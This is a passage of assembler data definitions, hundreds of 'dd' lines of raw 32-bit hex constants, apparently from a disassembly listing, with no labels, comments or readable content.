		dd 0F80716A4h, 38D70157h, 3B5A0976h, 0B809241Eh, 70D6F6E3h
		dd 68126650h, 0B8B836B8h, 10962D0Ch, 747EBB08h,	30A73518h
		dd 0F8755510h, 28C66089h, 4042F681h, 0D9EB0AC3h, 0F301F147h
		dd 4DC31090h, 0B6CA2011h, 0B4133CA2h, 82A6564Fh, 13D57853h
		dd 0A5485E21h, 0C940F8B3h, 5CA2A99Fh, 3C11EE9Bh, 6402A5E9h
		dd 69D9B5D3h, 6B012C79h, 92AE3873h, 5A25BA88h, 0F221BF53h
		dd 0B500516Eh, 0FD793015h, 3AB0E32Dh, 86DBFF47h, 8700EBA4h
		dd 31B04319h, 2015B8C2h, 5B70593Eh, 0F983EA5Ah,	0E5E2998Ch
		dd 0C0A15FFCh, 7629BA1Eh, 96BF0EC3h, 2A320BF6h,	117D7508h
		dd 327825D9h, 0A5CBA84Bh, 2C5904BAh, 2C73F9D9h,	18025707h
		dd 77FEE0D1h, 0C31790FEh, 0E29A50BFh, 0D059E912h, 0B5BC731h
		dd 4B752924h, 1041FA02h, 83A6C457h, 141C4108h, 0B4AD3841h
		dd 0FD25BB01h, 49822F8Ah, 8267445Bh, 0FE7B5D0Bh, 9B787D69h
		dd 3D695B2Ch, 62DAA88h,	0A3BA04E9h, 668CEB05h, 50EE08DCh
		dd 444F08D6h, 0DDDB07h,	4A8398B8h, 0C1312428h, 0A2E01793h
		dd 0F69C2CF8h, 35EB4E16h, 1092A9E2h, 0BD0FC101h, 38895D35h
		dd 7AF91E80h, 8103470Fh, 52119DF1h, 0AE1B062h, 0FFB84E14h
		dd 80FE2E87h, 0D4BC0C2Dh, 0A31A24E9h, 0CD309489h, 261A4E2Dh
		dd 0BA00885Eh, 677B68ABh, 7C582AE9h, 6F1BF011h,	98961093h
		dd 0BF41F740h, 39F4B03Bh, 0FE5D8FAAh, 0B84A7017h, 0CBC0F1B7h
		dd 0F195C5D0h, 0A103C471h, 957D2B18h, 2943CF6Ah, 0B008B401h
		dd 9A3204Dh, 3D330B02h,	2D8200FDh, 252C40B2h, 65FF01E3h
		dd 0AEAB8A33h, 0E5EA97FDh, 35F2EDC0h, 63EF2FF9h, 6B007B77h
		dd 1DF8ED81h, 0A0595098h, 0B82544B2h, 7BF2FABEh, 678C3B36h
		dd 4098CA03h, 60053AE7h, 3FF775F8h, 0DC92982h, 63B02BFAh
		dd 850E1DD3h, 6449E667h, 92C1C729h, 6AEAD0E9h, 80C4017Fh
		dd 283A46F4h, 0E1728860h, 28ECCB51h, 77BB4B18h,	70F0E2BDh
		dd 25F694FFh, 38D5A79Eh, 0A8EF130Ch, 25278DFDh,	0BEE22636h
		dd 10890701h, 19173958h, 912E500Ch, 132F57D9h, 0D324EF07h
		dd 5A7A8EBFh, 0C15E64CCh, 0B2525CA5h, 5FD17AF1h, 4DC2CC8h
		dd 2007988Ch, 6813CBA0h, 29EE378Dh, 0BBDD20EFh,	9C10B00Bh
		dd 0CE205D37h, 7DFB5A56h, 0EAE9F89Dh, 1ACE2D26h, 7C061A56h
		dd 9260720h, 0D687848h,	4A6B257Dh, 35A15F0h, 80A9B753h
		dd 0CF99A0EFh, 38F7D8E0h, 3116E7F2h, 4307C7FEh,	0EF0546B5h
		dd 76C47FC5h, 3AB899BBh, 87E99D60h, 9CBE9EEDh, 0BC838959h
		dd 41388B5Fh, 0FC05B4CAh, 35EB5EC8h, 48F2EA3Eh,	0A940BEB4h
		dd 0C321EDBDh, 0CD810310h, 58915586h, 66A90C05h, 92826F7Dh
		dd 0C680019Ah, 8B7EA5D1h, 0C9CBD381h, 0C588B8D4h, 88E9066Bh
		dd 0E73C496Ah, 0C4151B10h, 81B6F311h, 0C17B59CEh, 2F50376Ch
		dd 4F7B72E7h, 2AB7B1E2h, 0AC8B0CEDh, 0E3D55FC2h, 78F6C2EBh
		dd 1DB7281Dh, 208890BDh, 597CB4Ah, 0EAE0A39Bh, 2D497E5Dh
		dd 30FDD906h, 5A4A68ECh, 36E34Dh, 62BA771Ah, 0C1D2D5E9h
		dd 4CD8F19Fh, 0C831F03Eh, 3D423F94h, 7AD3FDD1h,	3AE32113h
		dd 45622D18h, 5401ABF3h, 0DE2178F7h, 4CFC535Bh,	0BB1ED288h
		dd 35A00601h, 0CB4061E8h, 92A5696h, 0AC10E911h,	5549B9F6h
		dd 91095745h, 0A13B52AFh, 0BB38134Ah, 4DC22876h, 1ED37E8Dh
		dd 82E5D0D5h, 61E9BEEDh, 0BA6BE4F0h, 37A224Dh, 7D4B4002h
		dd 2B5F8154h, 1E4B31ABh, 0D8F43368h, 907825C0h,	0C9E926A4h
		dd 0F66885EDh, 0D211A359h, 0AFB4D6ECh, 0B28983B2h, 6F5DEDE1h
		dd 40DB35D8h, 0EE0781A3h, 7CF312AFh, 10106FB3h,	484AA521h
		dd 55800533h, 0A00136DFh, 42B60AADh, 0C4D943Bh,	3D1E5E08h
		dd 55DCB512h, 0D7EA100Bh, 0EED142E8h, 0E3A0759Dh, 1D934AC0h
		dd 6E9D2D00h, 0F001656Dh, 5E07A105h, 662052C5h,	0C5FE80CBh
		dd 0FCB748EEh, 5F0D91C0h, 0AE4AB68Eh, 0C62C82D9h, 0F47AB8D3h
		dd 842AB9BFh, 52822360h, 65BF0058h, 9709ED0Bh, 8059CF31h
		dd 2579D039h, 90017629h, 400882EDh, 806FF73Eh, 57B8805Ah
		dd 68BE96F2h, 2E7933Bh,	0AA10B201h, 0B7FBE33h, 0AC90B6E5h
		dd 0BB9C4B73h, 51CC8841h, 0BC503E70h, 74806264h, 754B0F74h
		dd 7D0B036Fh, 59C570Eh,	97808290h, 29181097h, 0DA9C55FAh
		dd 48150177h, 818AE4BDh, 94D23FC8h, 0A01458ABh,	814CD0E1h
		dd 0FBFBF348h, 0E14A0C38h, 7775F442h, 4D30E961h, 2ED41631h
		dd 0E2D0024Bh, 627F1230h, 0CD666F1h, 405D95C5h,	4416ED16h
		dd 9AAD4358h, 14475019h, 0F013C645h, 252E0635h,	306AFCE9h
		dd 0AFD7180h, 2FF84687h, 1FE3915Ah, 371ECE03h, 28766B66h
		dd 8603350Bh, 4875D001h, 466A0D2Eh, 22D7CB0Bh, 0DE491EA8h
		dd 0EF0366CDh, 5CE3C130h, 2576E0F3h, 0FFF41E12h, 430B3116h
		dd 0A1F72Dh, 3B87F4E9h,	0BBCA3E44h, 0D4F2BD0Bh,	0F9644EF4h
		dd 5EBE2D14h, 0B0549544h, 2645EF5Fh, 6AB41D45h,	0E32880D3h
		dd 0EE96A4EEh, 8D045F13h
		dd 95950B86h, 68C86801h, 312F2115h, 65EBC0Fh, 5622492Eh
		dd 0B748EE40h, 0C54F52DCh, 0B2EF9401h, 0A668C3CAh, 4E8D102Fh
		dd 5F95735Dh, 0A711281h, 0E343F229h, 4525E4C3h,	0E4B77AC5h
		dd 0B9CE9D50h, 0F0CD199h, 462AB4BFh, 9FD07D2Eh,	23D906DFh
		dd 96C6482h, 5FF310C4h,	58E30057h, 25E96AA0h, 837E6EECh
		dd 0B3BF5945h, 571469F2h, 3141D93Ah, 0F034AFC8h, 703F27C2h
		dd 76AFB3F4h, 0C90A3081h, 0C1800BF2h, 0E21E62ADh, 5D0B4DD9h
		dd 0C5DA1E8Ch, 7F7EB2ECh, 899CC635h, 418680AFh,	41B71203h
		dd 2C00B196h, 681553C5h, 587815C1h, 52880E99h, 0B6F96E51h
		dd 35BCFC17h, 60732C5Fh, 0E0F6B34Bh, 0DC31F510h, 470EE1D6h
		dd 0DEF6817h, 3C9976A8h, 188E5EADh, 9073410h, 5F025468h
		dd 0AA000CBAh, 0C8F280Fh, 7D1E927h, 0F5402DCEh,	0B5892B5Bh
		dd 776B9C7Eh, 26BF1708h, 61B212DFh, 5D508A9h, 77E91313h
		dd 177C627Bh, 8877F888h, 5FEB7F07h, 5A77311Ah, 3D640AABh
		dd 2D43E25h, 2CDF02D4h,	403C46E0h, 686B0434h, 0C22B42A5h
		dd 0C14AB1FEh, 0FC5D1762h, 0CC97568Eh, 0EC2795AFh, 0E9054821h
		dd 9ACDB95Eh, 9167B8E0h, 4FA20361h, 66D94E15h, 5D073489h
		dd 0D8E5453Dh, 7B600B60h, 37B74CFh, 0E24B3F53h,	596DB40Eh
		dd 28014BECh, 772708C0h, 0C39A5D94h, 0B38E8EB5h, 0F85EAAB2h
		dd 5BF0D663h, 645C16CAh, 0A04AFE60h, 6802EE53h,	627AD071h
		dd 0D7BD4ABAh, 8DA26C02h, 0F6CBA0FEh, 4DFAE06Bh, 0E9FC44E1h
		dd 964A719Ch, 51026D09h, 4027B8F0h, 4848869h, 0BB4F24ACh
		dd 0A94C1A5Fh, 70EBAFFDh, 201D3063h, 7AAB850Ch,	2CA164F5h
		dd 0F95DA4AAh, 0B9983DA9h, 0E1C93DD4h, 76250F3Fh, 3F76F7F8h
		dd 0DBEC7F5Bh, 4C1A680Bh, 26921D9h, 0D5F75F91h,	0EF357E59h
		dd 10978BEAh, 0BE028AE8h, 218C4B0Ch, 5F6F0760h,	769764E2h
		dd 55F300BFh, 422560AEh, 72E67A1Dh, 9D368A47h, 377B2D90h
		dd 504558F6h, 89C6A90Bh, 5703E954h, 1A4F5A68h, 0D9F4F06Bh
		dd 7D62005Fh, 0A27F8823h, 3FCE4008h, 6D539703h,	10D00CA0h
		dd 8205931Ch, 0EC3445ABh, 51824BC1h, 850B0954h,	0F6AA30EBh
		dd 546E1758h, 57EC0105h, 7BAA8C28h, 0FE031A84h,	0A1C8295Dh
		dd 142C0574h, 1001E992h, 94BC704h, 0E5766452h, 0D8499D1Fh
		dd 0C7C61BEDh, 9759F0EBh, 0BE47F40h, 0E78C820h,	68F5371Ch
		dd 649FC2DCh, 0B040260Eh, 0FE2C5536h, 1903117Dh, 0B035B008h
		dd 0E521A4EAh, 7E0BA141h, 0A305EC6Ah, 0BC15F102h, 0DF89A97Bh
		dd 0C5AD491Fh, 12C9A7F3h, 0C2722055h, 0F695DCB2h, 4F7F19A3h
		dd 0C7B92A5Ch, 0EE62BED2h, 39020B29h, 680144E5h, 0CC7A122Ch
		dd 754035B0h, 788807BDh, 0B44D34D8h, 3E14E1AAh,	742EBC8Dh
		dd 0ACB8AE35h, 0D5B2FEA5h, 0F844AB16h, 0CC2DC49Ch, 4D04FF16h
		dd 0CDFE9EF9h, 0AF93E54Bh, 2D2D5131h, 90F7E362h, 955CB734h
		dd 8DB588D4h, 969EA90Fh, 7F545877h, 0BD368A1Fh,	9A0A843h
		dd 18C9455Ch, 35043B50h, 0C7A507BBh, 92C81FEFh,	918FFBCDh
		dd 52A54131h, 1168F850h, 49575E95h, 7B0B0EDBh, 72B8D68Ah
		dd 8466487Fh, 0C22295A4h, 800189A6h, 9BE195F5h,	0B61E773Ch
		dd 0FDC6830Fh, 0FAE2F188h, 3245EC57h, 6645AB7Eh, 2F04C474h
		dd 13EBE7B0h, 12731FCAh, 78360858h, 0FDF80109h,	82DE580h
		dd 56F2B17Ch, 6AE88CA0h, 0E9463909h, 68A5213Ch,	986E4D4Fh
		dd 0CA2F1BF8h, 0E88C750Ah, 5055A4Ch, 0F535E4BBh, 0ECCF17AFh
		dd 0EF5FB1F3h, 0AD5A613Dh, 620C60DEh, 0B84B683Fh, 0D018B61Bh
		dd 529753E9h, 6EF70498h, 0BB17FB7Ah, 0E48D4390h, 0B1E94E0Ah
		dd 3FAC6B57h, 0F2C0D3DEh, 5476053Ch, 0EF250887h, 8142B7BFh
		dd 1BE9F821h, 6F68B951h, 9614D66Ah, 7AF6D1BDh, 0B81E557h
		dd 2360BDE9h, 0BB485347h, 75782596h, 6F3283E1h,	0ECA8FE12h
		dd 49875E1h, 21C9CA8h, 3E054140h, 7C1E8CD9h, 0F62D2FE3h
		dd 0EDCBE96h, 169E8EC4h, 3FFA0301h, 0AA2E48A8h,	0AC04A312h
		dd 4AFC9209h, 8CD017C9h, 61D5BB05h, 26C523A9h, 2CCA3600h
		dd 9DA678E9h, 77697959h, 0E961A37Bh, 398164F3h,	8B68B2C5h
		dd 6BADED06h, 7FA0B916h, 0AD91A35h, 2A89F6A2h, 2F433E57h
		dd 4DD9F9ADh, 99D7AAB3h, 1D602E5Fh, 942A9651h, 0ED4AB9E8h
		dd 0F205279Ah, 4045B052h, 67EC50D4h, 61EDFD4Bh,	81DF6B8Bh
		dd 92D8F798h, 199A127Bh, 515F2643h, 369625A1h, 0C8915E45h
		dd 0E069C4E3h, 0F6C6CBDEh, 0D82025DAh, 0ED801F95h, 0B7D78C7Dh
		dd 281EB48Dh, 8A89CCFEh, 621892B3h, 25BA525Eh, 0ACB88BA3h
		dd 225B6851h, 121EFFD3h, 0F8B05017h, 0CEE626B3h, 0A4C962C5h
		dd 0A102BE2Fh, 0E0146CD4h, 824F1AEFh, 0CA8FE590h, 0C9035CB7h
		dd 61EE717Dh, 0C26F3A68h, 72B55C55h, 0C210DB53h, 5EC78A5Fh
		dd 9C7D7EB1h, 520AE90Ah, 58AFA45Eh, 0D6958F68h,	66E941F3h
		dd 929A7D41h, 885FC0F9h, 7A30C8EFh, 34C36E8Fh, 0D202D38h
		dd 0F641285Ch, 0E6608EA3h, 29DE4025h, 0F595DCEDh, 7F5B0ECBh
		dd 19BF61BEh, 0F43A2009h, 334E3FECh, 0E4584B32h, 0A4F105C4h
		dd 0BF678EE4h, 0D9892281h, 0B5ED0670h, 5926A2BCh, 8F885B5Dh
		dd 827F27AAh, 54CF853Eh, 4AF7D81Dh, 26D2E595h, 0B35516DCh
		dd 3F1F00A8h, 0CD810C69h, 662604B3h, 9239E96Ch,	4A7FBD9Eh
		dd 6409FF45h, 0ABF70309h, 13967454h, 0AE1B5F9Fh, 56050EFCh
		dd 8D5E82F9h, 8460310h,	25EEBC00h, 90432FD4h, 5F0C92DDh
		dd 424BAC63h, 21F1EEBCh, 8D2D6BD3h, 3376F400h, 0E5515E62h
		dd 1D3678B1h, 19CC1542h, 12BB0E43h, 0A035252Fh,	0CD418FB9h
		dd 8EA6C73Ah, 8ED476EBh, 4BEBD3E5h, 0C2F44023h,	0BFF4764h
		dd 0E53117Fh, 0E61ECAA6h, 975F2460h, 69E001BAh,	600954A2h
		dd 6525E9ACh, 72AF7448h, 0B66DF040h, 0C0091E75h, 0D817CB77h
		dd 0AD0783AEh, 3AF61119h, 2D1DC0FFh, 0C8020D87h, 52E0154h
		dd 0BCA5FE07h, 9A3FCFD4h, 9D494862h, 0B37D2F7Eh, 7FF3ECE9h
		dd 5EB045A8h, 0E34973E9h, 49790702h, 8BA207DCh,	2C0DF257h
		dd 3B3B9903h, 66FDF600h, 0F7011FC0h, 0E8414DB0h, 4831B931h
		dd 0E122FF2Eh, 27E6D6D6h, 92EB4557h, 18CEFDA3h,	0F16BDC46h
		dd 0DB181D37h, 6901BE44h, 89EF70A7h, 82B32BCDh,	5D406F81h
		dd 6BF6F9E9h, 42E2D289h, 0C17D9BFDh, 0A73EC22Ah, 0ACF720BAh
		dd 0A595C1h, 5747073Fh,	0B60C27C3h, 0B896173Eh,	45DE56AFh
		dd 0F65F00CAh, 428C7578h, 3C38DDA0h, 8C5B5535h,	416D2981h
		dd 885220h, 31ABB4CBh, 0D190E9DEh, 955D5A80h, 0B6BF725Bh
		dd 772D903h, 29C62019h,	60E5704Dh, 4748906Bh, 35C90493h
		dd 79E113B1h, 0C9FE9CFFh, 753EFDF9h, 0DFAC3057h, 80980D04h
		dd 0C08BF731h, 0C9DB660h, 4B604661h, 8339DFB8h,	0B9511671h
		dd 60F81AC2h, 752E7140h, 0F6E97E09h, 119CDFA7h,	0C1325C7Fh
		dd 5DEB1FCCh, 0E8D2E0F8h, 41540CA0h, 3EF96BDEh,	510C4496h
		dd 277BDB56h, 9E0FF65Ch, 1CD5A7ECh, 0C80F3444h,	0A3ADAF23h
		dd 4C4BF1Ch, 0C1310E2Ah, 80AF76B7h, 0CA546E19h,	0BF7811Eh
		dd 40EE7AEBh, 4CC17500h, 294A5A8Fh, 0B4164FA2h,	1049E6D6h
		dd 0B50784D9h, 20CDFEE8h, 8EDC0C5h, 7BEB0DB8h, 28AF1FB1h
		dd 993DB0C5h, 0C31702C8h, 52C7B42Ah, 0DA2D1895h, 9EFD9D50h
		dd 5A581343h, 9FB2EE5Bh, 469EAF97h, 888A3A17h, 42052F9Ch
		dd 0D729729Ch, 0B69382h, 3725D8B9h, 4CC1148h, 73322E21h
		dd 0E65E0587h, 1F181557h
		dd 4CCC030Ah, 53104941h, 0DAC7C607h, 5F4CA01h, 552EACBCh
		dd 6F8A0771h, 1789DA14h, 0F7994530h, 0DA24AED5h, 1762F8BEh
		dd 95EB3D64h, 125FF66Fh, 0DDEBC75Bh, 409F2CAFh,	5B058D97h
		dd 0D1E92A46h, 0BBB4EE0h, 4A7907FBh, 0B821289h,	4098586h
		dd 56B487ECh, 49F295EAh, 0BD4EABF6h, 0C1E311D3h, 4D259BDDh
		dd 2BF1E56Fh, 0B713E6CEh, 0C4DDBCEAh, 8D14F2A9h, 0F3ED4516h
		dd 7D218B56h, 8341FB64h, 0B82AE8E9h, 2596988Bh,	0D3A983ECh
		dd 20A32A3Ch, 0BE9C18Fh, 5395EB65h, 0C180079Dh,	0A3CFE99h
		dd 0B25203A5h, 7F08E950h, 0C3312002h, 0D10A1168h, 402C918Bh
		dd 7217EAC7h, 49EB0C5Eh, 3581FBCFh, 7E9D7736h, 0C60239ACh
		dd 1AF95457h, 0FD6A3700h, 6C879D05h, 532D3877h,	0BBFE8A8Eh
		dd 0CF68619Fh, 621B8961h, 0EC8B9099h, 0D96F272Ah, 0DA5F75F2h
		dd 0F0018145h, 409E3CC8h, 4C00BADBh, 81369D27h,	2809DECAh
		dd 0BF769E6h, 2D5C79EFh, 0F771805Fh, 2FE94AD2h,	8F29C997h
		dd 2D019D53h, 3FB2F3Fh,	7F3915D4h, 51CA90B0h, 9A210705h
		dd 32A01204h, 0E3845E89h, 0D5F789E7h, 7BE85100h, 0EB9874C0h
		dd 84FC4700h, 7FDA05C6h, 8657655Bh, 5D070F2Dh, 0C93569A2h
		dd 1FF3C077h, 8AAAA35Fh, 0C67AFDD8h, 34C95B0h, 272D0402h
		dd 2BA40B16h, 7A754171h, 0BD9CFE4h, 993B7F0h, 0E9478D01h
		dd 68FF84A0h, 31FA5DAAh, 7418450h, 0EDE3C285h, 0EC2FBA51h
		dd 19E909C6h, 2887D198h, 3B7E207Bh, 0E27B7B4h, 82636003h
		dd 49E9CE42h, 492E78F0h, 799002ABh, 0E65EA3BBh,	76CA8909h
		dd 7763E0EDh, 52812CF2h, 0CB3E3975h, 9EC95A84h,	0A21D9D41h
		dd 0DB3E8304h, 0ABA9234Eh, 68AB29CCh, 0F92D4D2Fh, 7BE961BFh
		dd 7F766F87h, 0DEAE2DC6h, 246F52FEh, 0A7917275h, 0E22E5AD0h
		dd 2F3A4865h, 0D3F36259h, 2ACAA7D1h, 0DC082B45h, 4125003Ah
		dd 5313827h, 0EF3F427Ah, 0E7C0A6FBh, 3DEB5496h,	47362E92h
		dd 4F5CB518h, 50190C31h, 0B901B5E3h, 755EE957h,	6E11892Ah
		dd 0A579CA97h, 0ACE25780h, 0EDCA825Fh, 0B5274F70h, 5F07DD26h
		dd 0A915C2FEh, 6809E4D9h, 0D3772Dh, 0C34EB920h,	0C9DEBFADh
		dd 32D4D06Fh, 727C4D87h, 6A9B849Bh, 39D7F012h, 0E9282F24h
		dd 776E4402h, 0A660060h, 0E913082Ch, 0C462D832h, 8BA1AA3Bh
		dd 0F67BFA2Fh, 0F9C24B78h, 0D051893Fh, 97895CE6h, 35616FE7h
		dd 824AED64h, 0FD1B850Ch, 0E9A07507h, 4B5054ADh, 4D44609Fh
		dd 91105BD7h, 0EAA9E2h,	41EB8h,	0D8F771F6h, 0C825E0D1h
		dd 5D6E6213h, 3B2D0A00h, 0C0E3FD9Dh, 0FB1D5F52h, 0C7780147h
		dd 0AF0845E5h, 0BD6A2E2Dh, 6440A50Fh, 40FF5E9Ch, 523820E9h
		dd 92DAD02h, 883A1B4Fh,	88B0F3FEh, 5519925h, 35686180h
		dd 3806982Bh, 5CED0416h, 95EE8181h, 0AE9AE86Bh,	3EA3884h
		dd 0A1D75421h, 6301A8ECh, 0C40888A3h, 124D0CBDh, 0C3400920h
		dd 1DC14015h, 40B0A740h, 0FE400311h, 1038637Dh,	819326Bh
		dd 8418DF4Ch, 9DB64188h, 2046580Ch, 82563F1h, 1831CAABh
		dd 3C4B1132h, 817F089Bh, 8184C83h, 0A128CF78h, 0C708C6E6h
		dd 0A820185Bh, 0CC5A7EE3h, 77A17410h, 5C0888F7h, 415B18AFh
		dd 580C290h, 0CE2E802Bh, 3C23781h, 8100A67h, 8C322C4Eh
		dd 94AEF8A1h, 0D9C2591Bh, 18187603h, 8506E28h, 94A9E991h
		dd 0D1C501E7h, 5E2A088Ch, 1F62CB20h, 6353E08h, 4B20E116h
		dd 80A5F0AEh, 2810C2Fh,	4F1FCC51h, 94BF1095h, 18B49C18h
		dd 8C6BB2Ch, 201853ACh,	0A433CC10h, 0CE041022h,	0BED23108h
		dd 31A9618h, 84910FDh, 0FCF02AE2h, 8CA7F7Dh, 9B8C9CA0h
		dd 81AB69C9h, 7DB98C2Bh, 40F710BCh, 0D440CC1Dh,	8F4637Ah
		dd 181943B1h, 0C084B53h, 0E5C88451h, 0F6C00888h, 31210918h
		dd 9408C603h, 0F13318C4h, 106D08DEh, 19447AE1h,	0D9080B77h
		dd 3E30E988h, 6D89FF19h, 1E6CD18Ch, 562F310h, 3379008h
		dd 2012FA33h, 6C4CA9E3h, 0A8EB1851h, 0C6AADCB0h, 0E1C10D18h
		dd 243511C9h, 40933B5Ch, 610CF44Ah, 54401881h, 0F0A640E5h
		dd 66C51640h, 21E110D0h, 833D931h, 1895B935h, 0A119CC53h
		dd 0EE3408EEh, 80493705h, 7530229Fh, 0F594025Ah, 243D4503h
		dd 95204210h, 0F1108089h, 0D2C418E8h, 0C42F5E08h, 5AC9718h
		dd 8C4C2798h, 894F10A1h, 0FD899535h, 0B9453298h, 24DCA326h
		dd 0F718120Fh, 99F05813h, 20C4DDC4h, 1493CB23h,	0EF181948h
		dd 241A0859h, 6492DE14h, 7C9C0F54h, 4080EC54h, 0A88610C4h
		dd 0F119540Ch, 0FF693440h, 71108D03h, 418B264h,	5839104Ah
		dd 80A008CAh, 12DA0D88h, 362C4D63h, 98DCE1C1h, 0A8599908h
		dd 404C923Bh, 0B245B8B6h, 0E220E98Ch, 0F4B5C619h, 9BF5789Ah
		dd 780D0CFFh, 0C0728D99h, 0B5762FDCh, 0AF4A2E8h, 25A72Fh
		dd 3FF2813Fh, 925B3BD1h, 7768C500h, 0CEE962F3h,	0BF34B160h
		dd 3F67820h, 6EA92D10h,	0E6A83C1Eh, 3D052E68h, 0BB53F801h
		dd 5BD80845h, 6975A7B6h, 72F50A43h, 0E1C019E1h,	7F070608h
		dd 2092AC45h, 602781FFh, 80FA047Fh, 34516836h, 0A8104BC4h
		dd 98F6BA13h, 7B5AA54Ah, 68668890h, 23284A1Dh, 1B40784Bh
		dd 5D161481h, 0D01F1311h, 54A1034Ch, 6969EC58h,	0ED7D0C7Dh
		dd 3655A73Dh, 84913605h, 5D4BBA0Ah, 102A31EBh, 0DE372F3Ch
		dd 975137ACh, 3700A7D8h, 585DAA25h, 1F09BF57h, 8132280Fh
		dd 47405ACFh, 0F326200Ah, 1BD51F1Fh, 56FDE707h,	2A801C04h
		dd 4B206205h, 0A50F4161h, 6ADF75B2h, 0AD0520C4h, 7065A9EBh
		dd 60BFD8E4h, 11B9104Ah, 255CF372h, 755905F3h, 0C61E0ADEh
		dd 7C08EB14h, 0E4FB0ECFh, 50FA39D0h, 0E917087Fh, 5E7DF0ACh
		dd 8664D3BFh, 7F626857h, 934EE919h, 0C1EFB487h,	84C33EFBh
		dd 0C3F4A3AFh, 0C34A6E9h, 0C71785ABh, 285FB114h, 0FED338ECh
		dd 9036308h, 903AD66h, 74D969CEh, 0C63FAFC0h, 7B5601B2h
		dd 0BE9231Ch, 546B8198h, 296F6858h, 5B1E87Ch, 11C5F845h
		dd 2D508290h, 5D98E907h, 8ABA8DD7h, 0B95100C0h,	6B763036h
		dd 78DE0BB8h, 0FC605F56h, 48BF4240h, 0BD6BC9B5h, 7E6B8DF1h
		dd 2FBCCD04h, 25E53AEBh, 0EAC7945Ch, 0AE0AD714h, 45687020h
		dd 0F11FC47Dh, 4ABA8A3Fh, 1B5C085Eh, 22C57727h,	8195712Ah
		dd 3697E936h, 6CA3A8h, 413872D6h, 59DD83BEh, 6384844Bh
		dd 2F4CF8AAh, 6062FE2Dh, 685BF830h, 0C26F3B24h,	0E96CB260h
		dd 0BF00EB8Ah, 1B3D5EB6h, 76DF164Dh, 5A0042F2h,	53FFEA81h
		dd 779856BDh, 0A76D0C3Bh, 0E144D529h, 25CBF4B5h, 8B10E7FDh
		dd 46E187Ch, 1A5226F6h,	41F29280h, 3BFD3E10h, 26EE125Ch
		dd 0F2D999AAh, 2E48F7Ch, 31186954h, 3EF71922h, 620C1B25h
		dd 0F5DBF522h, 8918E985h, 0FE934FACh, 41451C2Ch, 5DF396A8h
		dd 0F3BDC685h, 0FFCE5F39h, 16391E46h, 0F168071Ah, 0A3CB4D20h
		dd 144E82BEh, 871852EDh, 0ADC59F5Ch, 43216A1Eh,	166076CCh
		dd 74193BAh, 0D2E23329h, 7F42D601h, 0F80C0829h,	0A727E993h
		dd 0EE84FA9Fh, 0BF85C0EDh, 2AF976ADh, 0C6CC69BDh, 0B027121h
		dd 7BF35F58h, 4664D7A5h, 7E544E9Dh, 30464B68h, 0C32FB8C3h
		dd 0BD550A00h, 7EDF1F0Eh, 288F29E9h, 0FE661682h, 51063B2Eh
		dd 8B3D6CE9h, 0F1FCFE5Eh, 0BF864764h, 5B56D8Ch,	281FB43Bh
		dd 71E3EBECh, 96D730A2h, 642058CCh, 50B48910h, 0B0402767h
		dd 10D36231h, 137F51AEh, 5F8EC22Eh, 0FB58D107h,	8E6445F5h
		dd 4F7DFE05h, 0EB00F4E3h
		dd 66DBF66Ah, 25D0589Dh, 0E557CB30h, 11B08AABh,	43214586h
		dd 446468E9h, 5B03211Bh, 0C14FB365h, 0FB528E7Eh, 0F59760FDh
		dd 19B3F432h, 50EDD102h, 0CA88013Ch, 0CA1DBD7Eh, 0B78ECE13h
		dd 0F7FA0EB2h, 1C0B3CA0h, 0A7D08850h, 0E9189B64h, 0B82E8FB5h
		dd 0EE341612h, 4CEAA875h, 4C6F201Fh, 26205656h,	0AD08F3B5h
		dd 6F897EE5h, 449FFE8Bh, 4DFCAF5Eh, 0E875AD89h,	1534373h
		dd 662D71D3h, 6F62047Ah, 70FDAC4h, 68DEA75Ah, 0FBD86E4Ch
		dd 1E5A0747h, 0D21E8224h, 80F079A7h, 73EF41ACh,	0FF15ED83h
		dd 0BC57FE9h, 83B4AAB3h, 993BC4ACh, 0DCC19EECh,	0EEC110BAh
		dd 0E4791C0h, 89BBDBBCh, 0F5409555h, 4452E2E9h,	0D5BCEA88h
		dd 0C48EFB4Eh, 0A036E90Ah, 0AF099CF4h, 0F8209E46h, 0FC5F5FFDh
		dd 91FFB4D3h, 6FFAAACCh, 0D3A786ACh, 0A4FB3ABh,	956C628h
		dd 0A41D74BEh, 6609A3F8h, 5723943Fh, 6D378D02h,	7D726DFh
		dd 49034806h, 0AAA57E69h, 7373F05Dh, 980F6D3Eh,	40C5970Ah
		dd 2957005Ah, 0CE81465Eh, 5631379Eh, 7FDF662Bh,	5CAFB4FBh
		dd 68DDE565h, 979FB34Dh, 0FD1621F4h, 45AB1757h,	0B3FA3983h
		dd 59EC5E6Ch, 92CA29B2h, 0ACC5E577h, 0A5CA79Eh,	0D9490279h
		dd 0CC23E8C1h, 7E622997h, 889A1700h, 6BB9E9EEh,	51F91CB7h
		dd 6A6C5762h, 0AC5C77FDh, 29028E03h, 0E9130903h, 2FB04CA1h
		dd 5C812EBCh, 0C4B7B83Bh, 0F68D9899h, 0B96F2230h, 0B866838Ch
		dd 0DA27D81h, 2DC00643h, 0F59DBD7Bh, 898B240Fh,	0E418010Ch
		dd 53E94817h, 0C8EA5C56h, 354AE5CBh, 0A23ED569h, 44EAD2FBh
		dd 425FFFh, 0A126851h, 2D387B96h, 0B5FE82CBh, 35FE57DAh
		dd 0D14FDF2h, 7353D798h, 1C9B42F5h, 4F38750Bh, 9525229Ah
		dd 9FDF489h, 0AD4C45C1h, 0E925817Dh, 0A36F8E65h, 685E04CBh
		dd 8BEB4B22h, 4AC44C03h, 0AED238E7h, 480F328Ch,	0AAE44C83h
		dd 0BB530970h, 2A1F124Bh, 0D1DFF60h, 1BA156F7h,	0F22A6C03h
		dd 37100BF0h, 0E4090275h, 44347F84h, 63DDBBC1h,	93011CDh
		dd 827824AFh, 3A770844h, 5FD5F709h, 4B4BD646h, 89D898EAh
		dd 53FBC34Ah, 3E00BACAh, 305AD128h, 0FC2EEDC8h,	0B429A127h
		dd 2A52B67Eh, 0BAB5DA92h, 84DA18DFh, 97FEA488h,	0DBCB40DBh
		dd 0ED7427BAh, 0E1A44A17h, 6C504CE6h, 5031920h,	6DE01AC8h
		dd 72BBD953h, 0AAE2D850h, 0DC484C12h, 9614075h,	0D14DF877h
		dd 34BF01A5h, 5753E170h, 303BD3Bh, 7F6CC781h, 0D558E254h
		dd 666595F2h, 4AFBDA86h, 47AAEE47h, 8F80194Eh, 1C4268C2h
		dd 4D1900B7h, 24E97717h, 96716982h, 0F4D62131h,	0A784C39Eh
		dd 98C05E4Eh, 50607680h, 0F339F47h, 0E972B128h,	250524Ah
		dd 59416F66h, 0F032085Fh, 2D124E02h, 1F505501h,	75E90880h
